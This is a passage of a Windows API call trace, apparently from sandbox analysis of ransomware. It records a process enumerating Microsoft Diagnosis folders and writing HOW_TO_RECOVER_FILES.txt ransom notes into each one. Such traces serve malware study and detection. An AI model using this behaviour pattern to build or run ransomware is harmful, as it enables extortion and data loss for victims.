lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat", lpFilePart=0x0) returned 0x2c [0099.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0099.690] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\parse.dat"), fInfoLevelId=0x0, lpFileInformation=0x33a79a8 | out: lpFileInformation=0x33a79a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0099.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0099.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat", lpFilePart=0x0) returned 0x2c [0099.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0099.690] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0099.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eaf50) returned 1 [0099.693] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", lpFilePart=0x0) returned 0x3b [0099.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0099.693] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\vortexschemarequests.dat"), fInfoLevelId=0x0, lpFileInformation=0x33a8038 | out: lpFileInformation=0x33a8038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0100.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0100.155] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", lpFilePart=0x0) returned 0x3b [0100.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0100.155] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\programdata\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0100.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eaf50) returned 1 [0100.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0100.160] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader", lpFilePart=0x0) returned 0x31 [0100.160] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.160] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.160] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0100.160] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0100.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0100.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0100.161] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader", lpFilePart=0x0) returned 0x31 [0100.161] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.161] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.161] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0100.161] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0100.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0100.161] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0100.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0100.161] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\AsimovUploader\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\asimovuploader\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0100.162] GetFileType (hFile=0x20c) returned 0x1 [0100.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0100.162] GetFileType (hFile=0x20c) returned 0x1 [0100.163] WriteFile (in: hFile=0x20c, lpBuffer=0x3488270*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3488270*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0100.164] CloseHandle (hObject=0x20c) returned 1 [0100.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0100.164] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", lpFilePart=0x0) returned 0x36 [0100.164] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0100.165] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.165] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1 [0100.165] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0100.165] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0100.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0100.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0100.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0100.165] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", lpFilePart=0x0) returned 0x36 [0100.165] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0100.165] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a88b65e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.166] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1 [0100.166] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 0 [0100.166] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0100.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0100.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0100.166] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0100.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0100.166] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedscenarios\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0100.167] GetFileType (hFile=0x20c) returned 0x1 [0100.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0100.167] GetFileType (hFile=0x20c) returned 0x1 [0100.167] WriteFile (in: hFile=0x20c, lpBuffer=0x3499950*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3499950*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0100.168] CloseHandle (hObject=0x20c) returned 1 [0100.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0100.168] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpFilePart=0x0) returned 0x35 [0100.169] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.170] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.170] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk", cAlternateFileName="TELEME~1.BK")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1 [0100.171] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk", cAlternateFileName="UTCAPP~1.BK")) returned 1 [0100.172] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1 [0100.172] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0100.172] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0100.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0100.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0100.173] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpFilePart=0x0) returned 0x35 [0100.173] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0100.173] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, 